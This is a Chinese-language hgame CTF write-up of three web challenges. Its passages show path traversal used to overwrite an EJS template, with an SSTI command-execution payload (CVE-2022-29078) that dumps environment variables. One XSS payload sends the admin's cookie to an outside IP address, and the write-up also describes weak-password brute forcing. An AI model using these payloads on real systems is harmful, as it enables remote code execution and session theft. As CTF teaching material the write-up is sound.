Pacman
前端反调试题,找到了一个串.aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
.base64解码后百思不得其解,后来发现还有一个栅栏加密,纯烂活...
hgame{u_4re_pacman_m4ster}
BandBomb
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');const app = express();app.set('view engine', 'ejs');app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());const storage = multer.diskStorage({destination: (req, file, cb) => {const uploadDir = 'uploads';if (!fs.existsSync(uploadDir)) {fs.mkdirSync(uploadDir);}cb(null, uploadDir);},filename: (req, file, cb) => {cb(null, file.originalname);}
});const upload = multer({ storage: storage,fileFilter: (_, file, cb) => {try {if (!file.originalname) {return cb(new Error('无效的文件名'), false);}cb(null, true);} catch (err) {cb(new Error('文件处理错误'), false);}}
});app.get('/', (req, res) => {const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) {fs.mkdirSync(uploadsDir);}fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
});app.post('/upload', (req, res) => {upload.single('file')(req, res, (err) => {if (err) {return res.status(400).json({ error: err.message });}if (!req.file) {return res.status(400).json({ error: '没有选择文件' });}res.json({ message: '文件上传成功',filename: req.file.filename });});
});app.post('/rename', (req, res) => {const { oldName, newName } = req.body;const oldPath = path.join(__dirname, 'uploads', oldName);const newPath = path.join(__dirname, 'uploads', newName);if (!oldName || !newName) {return res.status(400).json({ error: ' ' });}fs.rename(oldPath, newPath, (err) => {if (err) {return res.status(500).json({ error: ' ' + err.message });}res.json({ message: ' ' });});
});app.listen(port, () => {console.log(`服务器运行在 http://localhost:${port}`);
});
在/rename
路由处通过拼接来实现改名,出现了路径穿越漏洞.可以移动文件.然而找不到flag,没权限移动系统文件.发现在根路由出现了一次渲染
fs.readdir(uploadsDir, (err, files) => {if (err) {return res.status(500).render('mortis', { files: [] });}res.render('mortis', { files: files });});
所以希望通过覆盖morties.ejs
,CVE-2022-29078:从而在渲染的时候去执行命令.ejs版本3.1.6或更早版本中存在SSTI,用浅拷贝覆盖值,最后插入OS Command导致RCE.
不会写能回显的shell,曲线救国一下:
<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt").toString().trim() %>
然后访问/static/1.txt
即可.
MysteryMessageBoard
上来给了个登录接口,爆破弱密码888888.登录之后扫了一个路由,给出了个留言板和一个/admin路由.提示访问admin路由时admin回去访问留言板,猜测是一个手动的xssbot.但是没打过xss,遂终止.
<img src=1 onerror=window.open("http://123.57.23.40:1111/?id="+document.cookie)>
使用admin访问时触发外带,在vps收到了admin的session.携带session访问,成功以admin身份登录.
然后携带admin的cookie再次扫描目录,得到了flag路由下的flag.